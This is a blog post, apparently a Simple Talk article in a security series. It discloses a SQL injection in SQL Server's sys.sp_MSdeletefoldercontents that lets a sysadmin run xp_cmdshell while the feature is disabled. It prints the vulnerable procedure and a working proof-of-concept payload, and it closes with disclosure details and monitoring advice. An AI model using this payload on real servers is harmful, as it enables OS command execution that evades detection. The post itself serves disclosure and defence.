{"id":112672,"date":"2026-09-14T12:00:00","date_gmt":"2026-09-14T12:00:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=112672"},"modified":"2026-09-09T08:39:37","modified_gmt":"2026-09-09T08:39:37","slug":"how-a-microsoft-signed-sql-server-stored-procedure-lets-sysadmins-bypass-disabled-xp_cmdshell","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/how-a-microsoft-signed-sql-server-stored-procedure-lets-sysadmins-bypass-disabled-xp_cmdshell\/","title":{"rendered":"How a Microsoft-signed SQL Server stored procedure lets sysadmins bypass disabled xp_cmdshell"},"content":{"rendered":"\n

SQL injection inside Microsoft-signed system stored procedures is not<\/em> supposed to happen. Yet, as I’ve been documenting in this series<\/a>, it happens more often than you may assume.<\/strong><\/p>\n\n\n\n

This article walks through another one I found and reported to the Microsoft Security Response Center (MSRC)<\/a>. It’s a textbook SQL injection sitting inside sys.sp_MSdeletefoldercontents<\/code>, a system stored procedure<\/a> used by SQL Server replication. <\/strong><\/p>\n\n\n\n

What makes it interesting is not the injection technique itself (there is no clever Unicode trick<\/a> this time), but what it enables: a working execution path for xp_cmdshell<\/code> on a server where xp_cmdshell<\/code> is explicitly disabled<\/em> by configuration.<\/strong><\/p>\n\n\n\n

This article is part of Fabiano Amorim\u2019s <\/em>series on SQL Server vulnerabilities you may not be aware of<\/em><\/a>.<\/em><\/p>\n\n\n\n

Introducing the vulnerability (and some background)<\/h2>\n\n\n\n

Disabling xp_cmdshell<\/a><\/code> is one of the most familiar SQL Server security<\/a> recommendations. Microsoft disables it by default on new installations, security baselines routinely check that its configuration value is zero, and many teams alert whenever someone enables it. <\/p>\n\n\n\n

The underlying assumption is simple: if xp_cmdshell<\/code> is disabled, operating-system commands cannot be executed through it until somebody explicitly changes the configuration.<\/strong><\/p>\n\n\n\n

The vulnerability in this article challenges that assumption. The internal procedure accepts a folder path, concatenates that value into a dynamically-generated T-SQL<\/a> batch, and executes the batch with sp_executesql<\/code>. <\/p>\n\n\n\n

Because the folder value is not parameterized<\/a> or safely escaped, however, a caller can terminate the intended string literal and append arbitrary T-SQL.<\/p>\n\n\n\n

While a direct call to xp_cmdshell<\/code> fails with the expected ‘component is turned off’<\/em> error, it’s a different situation entirely when injected into sys.sp_MSdeletefoldercontents<\/code>. <\/p>\n\n\n\n

There, the exact same xp_cmdshell<\/code> call succeeds without<\/em> an explicit sp_configure<\/code>\/reconfigure<\/code>.<\/p>\n\n\n\n

Why this is not just a privilege escalation vulnerability<\/h3>\n\n\n\n

This is not a privilege escalation vulnerability<\/a> from a normal database user to sysadmin<\/a><\/code>. The procedure itself checks for sysadmin<\/code> membership, so the prerequisite is already highly privileged. <\/p>\n\n\n\n

Instead, the security relevance is different: it creates an alternate execution path around a configuration control that administrators, auditors, and detection systems may treat as authoritative<\/strong>.<\/p>\n\n\n\n

\n
\n\n

Technical scope<\/strong><\/p>\n\n\n\n

The supplied proof of concept requires a login that is already a member of the sysadmin<\/code> fixed server role. This article does not<\/em> claim a lower-privileged user can exploit this path. The issue demonstrated here is a SQL injection and security-control bypass: a sysadmin<\/code> session can reach xp_cmdshell<\/code> through sys.sp_MSdeletefoldercontents<\/code> even when a direct xp_cmdshell<\/code> call is blocked because the feature is disabled.<\/p>\n\n<\/div>\n<\/div> \n\n\n

\n
\n\n

Disclosure note<\/strong><\/p>\n\n\n\n

I reported this vulnerability to the Microsoft Security Response Center on March 25, 2026. Microsoft investigated it, classified it as a low-severity \u201cdefense-in-depth\u201d issue (MSRC Case 111384), and stated that it did not meet the bar for immediate service. That classification does not mean you should ignore it.<\/p>\n\n<\/div>\n<\/div> \n\n\n

What is sys.sp_MSdeletefoldercontents<\/code>?<\/h2>\n\n\n\n

sys.sp_MSdeletefoldercontents<\/code> is an internal system stored procedure used to remove a collection of replication-related files from a supplied folder. <\/strong><\/p>\n\n\n\n

The procedure contains an explicit security check: if the current login is not<\/em> a member of the sysadmin<\/code> fixed server role, it raises error 21089 and returns. <\/p>\n\n\n\n

And, since the exploitation of the supplied path begins from sysadmin<\/code> rather than a less-privileged database role<\/a>, this is important.<\/p>\n\n\n\n

Here’s the relevant security check:<\/p>\n\n\n\n

-- Security check inside sys.sp_MSdeletefoldercontents\nif (isnull(is_srvrolemember('sysadmin'),0) = 0)\nbegin\n    raiserror(21089, 16, -1)\n    return (1)\nend<\/pre><\/div>\n\n\n\n
If that were the end of the story, the procedure would simply be a privileged housekeeping routine. Instead, a problem appears when @folder<\/code> is copied directly into executable SQL text.<\/p>\n\n\n\n
The vulnerable dynamic SQL<\/h3>\n\n\n\n
Let’s take a look at the procedure code – the vulnerable construction pattern at @command<\/code> concatenation:<\/p>\n\n\n\n
create procedure sys.sp_MSdeletefoldercontents \n(\n\t@folder nvarchar(255)\n)\nas\nbegin\n\tset nocount on\n\n\tdeclare @command_prefix nvarchar(4000)\n\tdeclare @command nvarchar(4000)\n\tdeclare @retcode int\n\tdeclare @pathSeparator nvarchar(2)\n\t\n\tselect @pathSeparator = CAST(SERVERPROPERTY('pathseparator') as nvarchar(2))\n\n\t--\n\t-- security check\n\t-- only sysadmin can execute this\n\t--\n\tif (isnull(is_srvrolemember('sysadmin'),0) = 0) \n\tbegin\n\t\traiserror(21089, 16, -1)\n\t\treturn (1)\n\tend\n\tselect @retcode = 0\n\tif len(@folder) = 0 or @folder is null\n\tbegin\n\t\treturn 0\n\tend\n\n\t-- \\ terminate path\n\tif substring(@folder, len(@folder), 1) <> @pathSeparator\n\tbegin\n\t\tselect @folder = @folder + @pathSeparator\n\tend \n\n\tselect @command = N'exec @retcode = xp_delete_files N''' +\n          @folder + N'sysmergesubsetfilters*.sch' + N''', N''' +\n          @folder + N'sysmergesubsetfilters*.bcp' + N''', N''' +\n          @folder + N'*_*.sch' + N''', N''' +\n          @folder + N'*_*.bcp' + N''', N''' +\n          @folder + N'*_*.idx' + N''', N''' +\n          @folder + N'*_*.sql' + N''', N''' +\n          @folder + N'*_*.ftx' + N''', N''' +\n          @folder + N'*_*.pre' + N''', N''' +\n          @folder + N'snapshot.cab' + N''', N''' +\n          @folder + N'dynsnapvalidation.tok' + N''', N''' +\n          @folder + N'snapshot.pre' + N''', N''' +\n          @folder + N'*_*.trg' + N''', N''' +\n          @folder + N'*_*.xpp' + N''', N''' +\n          @folder + N'*_*.cft' + N''', N''' +\n          @folder + N'*_*.dri' + N''', N''' +\n          @folder + N'*_*.prc' + N''''\n\n\tbegin try\n\t\texec sp_executesql @command, N'@retcode int OUTPUT', @retcode OUTPUT\n\tend try\n\tbegin catch\n\t\tset @retcode = 1\n\tend catch\n\n\treturn @retcode\n\nend<\/pre><\/div>\n\n\n\n
There is a sysadmin<\/code> guard at the top, but what comes after that is the interesting part: the procedure builds a dynamic T-SQL command string<\/a> by concatenating @folder<\/code> (the user-supplied nvarchar(255)<\/code> parameter.)<\/p>\n\n\n\n
In other words, this is the dangerous pattern:<\/p>\n\n\n\n
SET @command = N'...''' + @folder + N'...';\nEXEC sp_executesql @command;\n<\/pre><\/div>\n\n\n\n
It’s the textbook definition of SQL injection, whereby the procedure trusts @folder<\/code> without validation. If a caller passes a value containing an apostrophe, it closes the string literal early, and everything after that apostrophe is interpreted as T-SQL – not data.<\/p>\n\n\n\n
The injected code then runs through sp_executesql<\/code> – inheriting the procedure’s own security context rather than the caller’s.<\/p>\n\n\n\n
The sysadmin<\/code> catch (and why it still matters)<\/h2>\n\n\n\n
Before we jump to the proof of concept, let’s confront the objection head-on, because Microsoft did.<\/p>\n\n\n\n
The procedure explicitly checks is_srvrolemember('sysadmin')<\/code> and refuses to run for anyone else. This is why MSRC classified this as a low-severity, defense-in-depth issue rather than a privilege escalation vulnerability. <\/p>\n\n\n\n
From MSRC (Case 111384):<\/p>\n\n\n\n
After careful investigation, this case has been assessed as a low severity, defense-in-depth item, and does not meet MSRC’s bar for immediate servicing due to sys.sp_MSdeletefoldercontents<\/code> requiring sysadmin<\/code> privileges.<\/em><\/p>\n\n\n\n
The obvious counterargument is fair: a member of sysadmin<\/code> already controls SQL Server. A sysadmin<\/code> can usually enable xp_cmdshell<\/code>, execute a command, and disable it again.<\/p>\n\n\n\n
But that just prompts the question: why should we care if the attacker is already sysadmin<\/code>?<\/em><\/strong><\/p>\n\n\n\n
What an attacker can (and will) do once they’ve obtained sysadmin<\/code><\/h3>\n\n\n\n
Well, privilege is only one part of the security equation. Visibility is another. Obtaining sysadmin<\/code> is not often the end of the intrusion during a real attack – rather, it’s when the attacker begins their ‘post-exploitation activities.’<\/p>\n\n\n\n
These activities include collecting information, accessing credentials and sensitive data, moving laterally, establishing persistence, and\/or executing operating-system commands.<\/p>\n\n\n\n
This is where techniques such as this one become valuable. From the attacker’s perspective, they are gaining from the ‘evasion’ element, not the privilege escalation itself.<\/p>\n\n\n\n
In my own SQL Server security research, once I obtain sysadmin<\/code>, one of the next steps is frequently to test operating-system command execution<\/a>. I’ve used this technique extensively to reach xp_cmdshell<\/code> without<\/em> having to perform the configuration change that defenders commonly expect to see. <\/p>\n\n\n\n
In fact, I’ve never seen anyone monitoring for sp_MSdeletefoldercontents<\/code> in my time. After all, it’s a Microsoft-owned procedure, so it must be safe! Why should they monitor for it?<\/p>\n\n\n\n
Instead, focus goes toward controlling xp_cmdshell<\/code> activity using common security best practices like monitoring<\/a>, audit<\/a>, alert setup, etc.<\/p>\n\n\n\n
\n    
\n        
\n            
\n                
Future-proof database monitoring with Redgate Monitor<\/h3>\n                
\n                                            Multi-platform database observability for your entire estate. Optimize performance, ensure security, and mitigate potential risks with fast deep-dive analysis, intelligent alerting, and AI-powered insights.                                    <\/div>\n            <\/div>\n                                            Learn more & try for free<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n
The vulnerability in action (and how to recreate it)<\/h2>\n\n\n\n
Here’s the full vulnerability in action, and a step-by-step guide on how to recreate it.<\/p>\n\n\n\n
Step 1: confirm direct xp_cmdshell<\/code> execution is blocked<\/h3>\n\n\n\n
Start with xp_cmdshell<\/code> disabled<\/em>, then invoke it directly:<\/p>\n\n\n\n
EXEC xp_cmdshell 'dir c:\\';\nGO\nResult:\nMsg 15281, Level 16, State 1, Procedure xp_cmdshell, Line 1\nSQL Server blocked access to procedure 'sys.xp_cmdshell' of component\n'xp_cmdshell' because this component is turned off as part of the\nsecurity configuration for this server. A system administrator can\nenable the use of 'xp_cmdshell' by using sp_configure. For more\ninformation about enabling 'xp_cmdshell', search for 'xp_cmdshell'\nin SQL Server Books Online.<\/pre><\/div>\n\n\n\n
This is exactly the message any hardened server should return, and exactly what an auditor expects to see.<\/p>\n\n\n\n
Step 2: invoke xp_cmdshell<\/code> through the injection<\/h3>\n\n\n\n
Next, call sys.sp_MSdeletefoldercontents<\/code> and place the xp_cmdshell<\/code> statement inside @folder<\/code>:<\/p>\n\n\n\n
USE master;\nGO\n\nEXEC sys.sp_MSdeletefoldercontents\n    @folder = 'C:\\temp\\''; EXEC xp_cmdshell ''whoami''--';\nGO\n\nResult:\n--------------------------------------------------------------------\nComputer1\\administrator<\/pre><\/div>\n\n\n\n
There it is. xp_cmdshell<\/code> executed, and whoami<\/code> returned the SQL Server service account.<\/p>\n\n\n\n
Step 3: prove the primitive is general T-SQL injection<\/h3>\n\n\n\n
The report also uses a harmless SELECT<\/code> payload to show that the primitive is not<\/em> specific to xp_cmdshell<\/code>:<\/p>\n\n\n\n
EXEC sys.sp_MSdeletefoldercontents\n    @folder = 'C:\\temp\\''; SELECT @@Version AS v;--';\nGO<\/pre><\/div>\n\n\n\n
That query returns the SQL Server version string, useful because it isolates the core defect in which arbitrary T-SQL can be appended to the dynamically-generated batch. xp_cmdshell<\/code> is simply the most security-relevant demonstration of the resulting control bypass.<\/p>\n\n\n\n
Why, and how, does this bypass the xp_cmdshell<\/code> disable?<\/h2>\n\n\n\n
When sys.sp_MSdeletefoldercontents<\/code> calls sp_executesql<\/code>, the batch runs inside the execution context of the system procedure, which is a Microsoft-signed object living in the sys<\/code> schema<\/a>. Along that path, the feature-switch<\/a> check for xp_cmdshell<\/code> is not enforced the same way it is for a direct call from a user session.<\/p>\n\n\n\n
Overall, sysadmin<\/code> being able to run arbitrary T-SQL is not the problem. However, sysadmin<\/code> being able to run xp_cmdshell<\/code> through a Microsoft-signed system procedure, without ever asking sp_configure<\/code> for permission or leaving a “feature enabled” event behind, is<\/em> most definitely a problem.<\/p>\n\n\n\n
What can you do to prevent the vulnerability?<\/h2>\n\n\n\n
Since the supplied exploit requires sysadmin<\/code>, the most important defensive control is still strict control of sysadmin<\/code> membership. <\/p>\n\n\n\n
This finding shouldn’t be interpreted as a reason to re-enable xp_cmdshell<\/code> – rather, it’s reason to avoid treating the disabled flag<\/a> as the only relevant control.<\/p>\n\n\n\n
Here’s everything you can do to prevent the vulnerability:<\/h4>\n\n\n
\n
    \n
  1. Keep sysadmin<\/code> membership extremely small.<\/strong> Review permanent human accounts, service accounts, and automation identities that hold the role.

    <\/li>\n\n\n\n
  2. Continue to keep xp_cmdshell<\/code> disabled unless<\/em> there’s a documented operational need.<\/strong> Microsoft still recommends this.

    <\/li>\n\n\n\n
  3. Monitor for calls to sys.sp_MSdeletefoldercontents<\/code> outside expected replication workflows<\/strong> – especially those containing quote characters, semicolons, comment markers, or other values that don’t resemble normal filesystem<\/code> paths.

    <\/li>\n\n\n\n
  4. Do not<\/em> exclusively depend on alerts for sp_configure<\/code> 'xp_cmdshell'<\/code><\/strong>. Monitor the SQL Server service account at the operating-system layer. Process creation and command-shell telemetry can detect OS execution even when the SQL-side invocation is indirect. <\/span>

    <\/li>\n\n\n\n
  5. Alert on actual child process<\/a> creation by the SQL Server service<\/strong> and on suspicious use of extended procedures<\/strong>.<\/span> The most valuable detection strategy is to correlate SQL activity with host process creation.<\/strong>

    <\/li>\n\n\n\n
  6. If you don’t use replication<\/a>, deny explicit execute on the procedure.<\/strong> sp_MSdeletefoldercontents<\/code> is a replication-facing procedure. On instances where replication is not configured and never will be, an explicit DENY EXECUTE ON sys.sp_MSdeletefoldercontents TO public;<\/code> gives you one more small barrier. It won’t stop a determined sysadmin<\/code> (they can GRANT<\/code> it back), but it’ll show up in an audit trail if someone tries!<\/li>\n<\/ol>\n<\/div>\n\n\n
    In summary: the sys.sp_MSdeletefoldercontents<\/code> vulnerability in SQL Server<\/h2>\n\n\n\n
    The vulnerability in SQL Server sys.sp_MSdeletefoldercontents<\/code> is easy to understand once the generated SQL is visible. Essentially, @folder<\/code> is inserted directly into a dynamic batch<\/a>, so a crafted folder string can escape the intended pathname<\/a> literal and append arbitrary T-SQL.<\/strong><\/p>\n\n\n\n
    What makes the finding interesting is the behavior demonstrated with xp_cmdshell<\/code>. The direct call is rejected because the feature is disabled, yet the injected call through the internal procedure succeeds.<\/strong><\/p>\n\n\n\n
    The fix for SQL Server developers: never concatenate caller-controlled text into executable SQL when it can be passed as data.<\/strong> <\/p>\n\n\n\n
    For SQL Server administrators, it’s similar but not the same. Keep xp_cmdshell<\/code> disabled if possible, and do not<\/em> treat that single setting as proof that operating-system command execution is impossible. <\/strong><\/p>\n\n\n\n
    After all, if an attacker wants to run a shell command<\/a>, it has several options, including: extended procedures<\/a>, OLE Automation<\/a>, SQL Agent<\/a> jobs, common language runtime (CLR)<\/a>, and external scripts. <\/p>\n\n\n\n
    Finally, enforcing auditing, monitoring, and alerting, is always<\/em> important.<\/strong><\/p>\n\n\n\n
    References<\/h3>\n\n\n
    \n